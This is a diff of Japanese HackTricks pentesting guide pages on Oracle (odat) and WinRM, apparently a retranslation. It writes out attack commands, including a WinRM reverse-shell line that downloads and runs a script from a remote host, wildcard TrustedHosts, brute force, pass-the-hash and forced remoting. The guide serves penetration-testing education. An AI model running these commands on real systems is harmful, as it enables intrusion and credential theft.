./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --getFile "C:/test" "my4.txt" "my"
|
||||
```
|
||||
[詳細はこちら](oracle-rce-and-more.md#read-write-files)
|
||||
|
||||
## 権限昇格
|
||||
|
||||
[詳細はこちら](oracle-rce-and-more.md#elevating-privileges)
|
||||
|
||||
odatの[privesc](https://github.com/quentinhardy/odat/wiki/privesc)モジュールを使用して権限を昇格させることができます。そのリンクでは、**odatを使用して権限を昇格させるいくつかの方法が見つかります。**
|
||||
```bash
|
||||
./odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD -h #Get module Help
|
||||
```
|
||||
脆弱性はoracle 10.1.0.3.0でテストされました - 10.1.0.5.0まで、そしておそらく11gでも動作するはずです。2007年10月のOracle Critical Patchアップデートで修正されました。
|
||||
```bash
|
||||
msf> use auxiliary/sqli/oracle/lt_findricset_cursor
|
||||
```
|
||||
## 無料の仮想環境でのテスト
|
||||
|
||||
Oracleデータベースへの攻撃を練習したい場合、最も安全な方法はOracle Developer Days Virtualbox VMに登録することです：
|
||||
|
||||
{% embed url="http://www.oracle.com/technetwork/database/enterprise-edition/databaseappdev-vm-161299.html" %}
|
||||
|
||||
この投稿のほとんどの情報は以下から抜粋されました：[https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573) および [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
|
||||
その他の興味深い**参考文献**：
|
||||
|
||||
[http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## HackTricks 自動コマンド
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
|
|
@ -271,14 +72,14 @@ Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* **HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする**
|
||||
* **ハッキングテクニックを共有するためにPRを送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに参加する
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,122 +2,92 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう！
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
**ハッキングの洞察**\
|
||||
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです！上昇期のweb3セキュリティをマスターしましょう。
|
||||
**リアルタイムハックニュース**\
|
||||
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
**最新のアナウンスメント**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて知る
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう！
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう！**
|
||||
|
||||
## WinRM
|
||||
|
||||
[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)（WinRM）は、SOAPを使用してHTTP（S）経由でWindowsマシンをリモートで管理するためのMicrosoftプロトコルです。バックエンドではWMIを利用しているため、WMIのHTTPベースのAPIと考えることができます。
|
||||
[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)（WinRM）は、SOAPを使用してHTTP（S）経由でWindowsマシンのリモート管理を可能にするMicrosoftプロトコルです。バックエンドではWMIを利用しているため、WMIのHTTPベースのAPIと考えることができます。
|
||||
|
||||
WinRMがマシンで有効になっている場合、PowerShellからリモートでマシンを管理するのは簡単です。実際には、リモートのPowerShellセッションにマシンにドロップインすることができます（SSHを使用しているかのように）。
|
||||
マシンでWinRMが有効になっている場合、PowerShellからリモートでマシンを管理することは簡単です。実際、リモートのPowerShellセッションに入ることができます（まるでSSHを使用しているかのように！）
|
||||
|
||||
WinRMが利用可能かどうかを検出する最も簡単な方法は、ポートが開いているかどうかを確認することです。WinRMは次のいずれかのポートでリッスンします。
|
||||
WinRMが利用可能かどうかを検出する最も簡単な方法は、ポートが開かれているかどうかを確認することです。WinRMは次のいずれかのポートでリッスンします：
|
||||
|
||||
* **5985/tcp（HTTP）**
|
||||
* **5986/tcp（HTTPS）**
|
||||
- **5985/tcp（HTTP）**
|
||||
- **5986/tcp（HTTPS）**
|
||||
|
||||
これらのポートのいずれかが開いている場合、WinRMが構成されており、リモートセッションを試すことができます。
|
||||
|
||||
## **WinRMセッションの開始**。
|
||||
|
||||
PowerShellをWinRMと連携させることができます。Microsoftのドキュメントによると、Enable-PSRemotingは、コンピューターをPowerShellリモートコマンドを受け取るように構成するためのコマンドレットです。被害者のエレベートされたPowerShellプロンプトにアクセスできる場合、これを有効にし、任意の「攻撃者」を信頼されたホストとして追加することができます。次の2つのコマンドを実行できます：
|
||||
PowerShellをWinRMと連携させることができます。Microsoftのドキュメントによると、Enable-PSRemotingは、コンピューターをPowerShellリモートコマンドを受信するように構成するコマンドレットです。被害者のエレベーションされたPowerShellプロンプトにアクセスできる場合、これを有効にし、「攻撃者」を信頼されたホストとして追加することができます。次の2つのコマンドを実行できます：
|
||||
```
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
これにより、trustedhosts設定にワイルドカードが追加されます。それが何を意味するかに注意してください。 _注: 攻撃マシンのネットワークタイプを「Public」から「Work」ネットワークに変更する必要がありました。_
|
||||
これはtrustedhosts設定にワイルドカードを追加します。それが何を意味するか注意してください。_注意: 攻撃マシンのネットワークタイプを「Public」から「Work」ネットワークに変更する必要がありました。_
|
||||
|
||||
また、**wmicを使用して** WinRMを**リモートでアクティベート**することもできます。
|
||||
また、**リモート**でWinRMを**アクティブ化**するには、_wmic_を使用することもできます。
|
||||
```
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
### 設定のテスト
|
||||
### 設定がされているかテストする
|
||||
|
||||
攻撃マシンが設定されたら、`Test-WSMan` 関数を使用して、ターゲットが WinRM に設定されているかどうかをテストします。プロトコルバージョンと wsmid に関する情報が返されるはずです。
|
||||
攻撃マシンが設定されたら、`Test-WSMan` 関数を使用してターゲットが WinRM に設定されているかどうかをテストします。プロトコルバージョンと wsmid に関する情報が返されるはずです:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
この場合、最初のものは設定されており、2番目のものは設定されていません。
|
||||
この場合、最初の画像は設定されており、2番目の画像は設定されていません。
|
||||
|
||||
### コマンドの実行
|
||||
### コマンドを実行する
|
||||
|
||||
これで、PowerShell の `Invoke-Command` を使用して、WinRM を介してターゲット上でコマンドをリモートで実行することができます。`ipconfig` をリモートで実行して出力を確認します。
|
||||
これで、PowerShell の `Invoke-Command` を使用して、WinRM を介してターゲット上でコマンドをリモートで実行できます。リモートで `ipconfig` を実行して出力を表示します:
|
||||
```
|
||||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||||
```
|
||||
 (1).png>)
|
||||
|
||||
また、**Invoke-Command**を使用して、現在のPSコンソールでコマンドを実行することもできます。ローカルに_**enumeration**_という関数があると仮定し、それをリモートコンピュータで実行したい場合は、次のようにします：
|
||||
あなたは**Invoke-Command**を介して現在のPSコンソールのコマンドを実行することもできます。ローカルに**enumeration**という関数があると仮定し、それをリモートコンピュータで実行したい場合、次のようにします：
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
### スクリプトの実行
|
||||
|
||||
To execute a script on a target machine using WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote machines.
|
||||
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <target> -ScriptBlock { <script> }
|
||||
```
|
||||
|
||||
Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the script you want to execute.
|
||||
|
||||
For example, to execute a PowerShell script named `script.ps1` on a target machine with the IP address `192.168.0.100`, you would use the following command:
|
||||
|
||||
```powershell
|
||||
Invoke-Command -ComputerName 192.168.0.100 -ScriptBlock { C:\path\to\script.ps1 }
|
||||
```
|
||||
|
||||
This command will execute the `script.ps1` script on the target machine.
|
||||
|
||||
Keep in mind that you need appropriate permissions and credentials to execute scripts on remote machines using WinRM.
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||
```
|
||||
### 逆シェルを取得する
|
||||
|
||||
To get a reverse shell, you can use the following steps:
|
||||
|
||||
1. Generate a payload: Use a tool like msfvenom to generate a payload that will establish a reverse shell connection to your machine. Specify the IP address and port number of your machine as the listener.
|
||||
|
||||
2. Set up a listener: Start a listener on your machine using a tool like netcat or Metasploit's multi/handler module. Make sure to use the same IP address and port number as specified in the payload.
|
||||
|
||||
3. Execute the payload: Transfer the payload to the target machine and execute it. This can be done through various methods such as social engineering, exploiting vulnerabilities, or using a file transfer protocol.
|
||||
|
||||
4. Establish the reverse shell: Once the payload is executed on the target machine, it will establish a connection back to your machine. You will then have a reverse shell, allowing you to interact with the target machine's command prompt.
|
||||
|
||||
By following these steps, you can successfully obtain a reverse shell and gain control over the target machine. Remember to use this technique responsibly and only on systems that you have proper authorization to test.
|
||||
### 逆シェルを取得
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
### PSセッションの取得
|
||||
|
||||
または、対話型のPowerShellセッションに直接入る場合は、`Enter-PSSession`関数を使用します。
|
||||
または、対話型のPowerShellセッションにすぐに移動したい場合は、`Enter-PSSession`関数を使用します：
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
|
|
@ -138,17 +108,15 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
|||
|
||||
**セッションは、「被害者」内の新しいプロセス（wsmprovhost）で実行されます**
|
||||
|
||||
### **WinRMを強制的にオープンする**
|
||||
### **WinRMを強制的にオープンにする**
|
||||
|
||||
PSリモートおよびWinRMを使用したいが、ターゲットがそれに設定されていない場合、単一のコマンドを使用して「強制的に」オープンすることができます。これはお勧めしませんが、本当にWinRMまたはPSリモートを使用したい場合は、この方法で行ってください。たとえば、PSExecを使用して次のようにします：
|
||||
本当にPS RemotingとWinRMを使用したいが、ターゲットがそれに設定されていない場合、1つのコマンドでそれを「強制的に」オンにすることができます。これはお勧めしませんが、本当にWinRMまたはPSRemotingを使用したい場合は、この方法で行ってください。たとえば、PSExecを使用して次のようにします：
|
||||
```
|
||||
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
犠牲者のリモートPSセッションに入ることができます。
|
||||
|
||||
### セッションの保存と復元
|
||||
|
||||
これは、リモートコンピュータで言語が制約されている場合には**機能しません**。
|
||||
これは、リモートコンピュータで言語が制約されている場合には機能しません。
|
||||
```ruby
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
|
|
@ -160,7 +128,7 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
|
|||
#And restore it at any moment doing
|
||||
Enter-PSSession -Session $sess1
|
||||
```
|
||||
このセッションでは、_Invoke-Command_ を使用してPSスクリプトをロードすることができます。
|
||||
このセッション内では、_Invoke-Command_ を使用して PS スクリプトをロードできます。
|
||||
```ruby
|
||||
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
```
|
||||
|
|
@ -168,35 +136,33 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
|||
|
||||
次のエラーが見つかった場合：
|
||||
|
||||
`enter-pssession : リモート サーバー 10.10.10.175 への接続に失敗しました。次のエラー メッセージが表示されました: WinRM クライアントは要求を処理できません。認証スキームが Kerberos と異なる場合、またはクライアント コンピューターがドメインに参加していない場合、HTTPS トランスポートを使用するか、または宛先マシンを TrustedHosts 構成設定に追加する必要があります。TrustedHosts のリストにあるコンピューターは認証されない場合があります。次のコマンドを実行して詳細情報を取得できます: winrm help config。詳細については、about_Remote_Troubleshooting ヘルプ トピックを参照してください。`
|
||||
`enter-pssession : リモート サーバー 10.10.10.175 に接続できませんでした。次のエラー メッセージが表示されました: WinRM クライアントは要求を処理できません。認証スキームが Kerberos と異なる場合、またはクライアント コンピューターがドメインに参加していない場合は、HTTPS トランスポートを使用するか、宛先マシンを TrustedHosts 構成設定に追加する必要があります。TrustedHosts を構成するには、winrm.cmd を使用します。TrustedHosts リストにあるコンピューターは認証されない場合があります。次のコマンドを実行して詳細情報を取得できます: winrm help config。詳細については、about_Remote_Troubleshooting ヘルプ トピックを参照してください。`
|
||||
|
||||
クライアントで次の試みを行います（[ここ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)の情報から）：
|
||||
クライアントで次の手順を試してください（[こちら](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)からの情報）:
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
**ハッキングの洞察**\
|
||||
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
|
||||
|
||||
**Web3ペントテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです！上昇中のWeb3セキュリティをマスターしましょう。
|
||||
**リアルタイムハックニュース**\
|
||||
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
**最新のお知らせ**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから収益を得ましょう！
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力しましょう！
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## LinuxでのWinRM接続
|
||||
## Linux での WinRM 接続
|
||||
|
||||
### ブルートフォース
|
||||
|
||||
注意してください、WinRMのブルートフォース攻撃はユーザーをブロックする可能性があります。
|
||||
WinRM のブルートフォースには注意が必要です。
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
|
|
@ -208,57 +174,23 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
|
|||
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
|
||||
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
|
||||
```
|
||||
### evil-winrmの使用
|
||||
|
||||
evil-winrmは、Windows Remote Management（WinRM）サービスを悪用するためのツールです。WinRMは、Windowsマシン間でのリモート管理を可能にするためのプロトコルです。evil-winrmを使用すると、WinRMサービスに対して認証情報を提供し、リモートマシンに対して権限を取得することができます。
|
||||
|
||||
以下は、evil-winrmを使用してWinRMサービスを悪用する手順です。
|
||||
|
||||
1. まず、ターゲットマシンのIPアドレスを特定します。
|
||||
|
||||
2. 次に、evil-winrmを実行するためのコマンドを入力します。
|
||||
|
||||
```
|
||||
evil-winrm -i <target-ip> -u <username> -p <password>
|
||||
```
|
||||
|
||||
- `<target-ip>`はターゲットマシンのIPアドレスです。
|
||||
- `<username>`は有効なユーザー名です。
|
||||
- `<password>`は有効なパスワードです。
|
||||
|
||||
3. コマンドを実行すると、evil-winrmがWinRMサービスに接続し、認証情報を提供します。
|
||||
|
||||
4. 認証が成功すると、evil-winrmのインタラクティブシェルが表示されます。これにより、リモートマシン上でコマンドを実行したり、ファイルを転送したりすることができます。
|
||||
|
||||
evil-winrmは、WinRMサービスの脆弱性を悪用するための強力なツールです。ただし、権限を取得する前に、適切な許可を取得していることを確認する必要があります。また、悪用行為は法的な制約に従って行う必要があります。
|
||||
### 悪意のあるwinrmの使用
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
次のリンクから、そのgithubの**ドキュメント**を読んでください: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
**ドキュメント**はこちらのGitHubで確認できます: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
**IPv6アドレス**に接続するためにevil-winrmを使用するには、IPv6アドレスに**ドメイン名**を設定するために_**/etc/hosts**_内にエントリを作成し、そのドメインに接続します。
|
||||
### evil-winrmを使用してIPv6アドレスに接続するには、_**/etc/hosts**_内に**ドメイン名**をIPv6アドレスに設定して、そのドメインに接続します。
|
||||
|
||||
### evil-winrmを使用してハッシュをパスする
|
||||
### evil-winrmを使用してハッシュを渡す
|
||||
```ruby
|
||||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||||
```
|
||||
.png>)
|
||||
### PS-docker マシンの使用
|
||||
|
||||
### PS-dockerマシンの使用
|
||||
|
||||
The PS-docker machine is a powerful tool for penetration testers to exploit vulnerabilities in Windows Remote Management (WinRM) services. This technique allows testers to gain unauthorized access to remote Windows systems and perform various malicious activities.
|
||||
|
||||
To use the PS-docker machine, follow these steps:
|
||||
|
||||
1. Set up a Docker environment on your local machine.
|
||||
2. Pull the PS-docker image from the Docker Hub repository.
|
||||
3. Run the PS-docker container with the necessary parameters.
|
||||
4. Connect to the WinRM service of the target system using the PS-docker container.
|
||||
5. Exploit vulnerabilities and perform penetration testing activities.
|
||||
|
||||
By leveraging the PS-docker machine, penetration testers can effectively assess the security of WinRM services and identify potential weaknesses that could be exploited by malicious actors. It is important to note that this technique should only be used for authorized and ethical purposes.
|
||||
PS-docker マシンを使用すると、WinRM サービスを介してリモートで PowerShell スクリプトを実行できます。WinRM サービスは、Windows マシン間でのリモート管理を可能にするための機能です。PS-docker マシンを使用すると、WinRM を介してリモートで PowerShell スクリプトを実行し、システムにアクセスできます。
|
||||
```
|
||||
docker run -it quickbreach/powershell-ntlm
|
||||
$creds = Get-Credential
|
||||
|
|
@ -266,13 +198,14 @@ Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential
|
|||
```
|
||||
### ルビースクリプトの使用
|
||||
|
||||
以下のコードはこちらから抽出されました: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)
|
||||
**ここから抽出したコード: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)**
|
||||
```ruby
|
||||
require 'winrm-fs'
|
||||
|
||||
# Author: Alamot
|
||||
# To upload a file type: UPLOAD local_path remote_path
|
||||
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
|
||||
# https://alamot.github.io/winrm_shell/
|
||||
|
||||
|
||||
conn = WinRM::Connection.new(
|
||||
|
|
@ -323,11 +256,11 @@ end
|
|||
|
||||
* `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
|
||||
## HackTricks 自動コマンド
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
|
||||
Port_Number: 5985 #Comma separated if there is more than one.
|
||||
|
|
@ -364,31 +297,33 @@ Name: Hydra Brute Force
|
|||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです！成長するWeb3セキュリティをマスターしましょう。
|
||||
**ハッキングの洞察力**\
|
||||
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
**リアルタイムハックニュース**\
|
||||
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態で把握しましょう
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう！
|
||||
**最新のアナウンスメント**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力しましょう！
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう！</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか？** **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
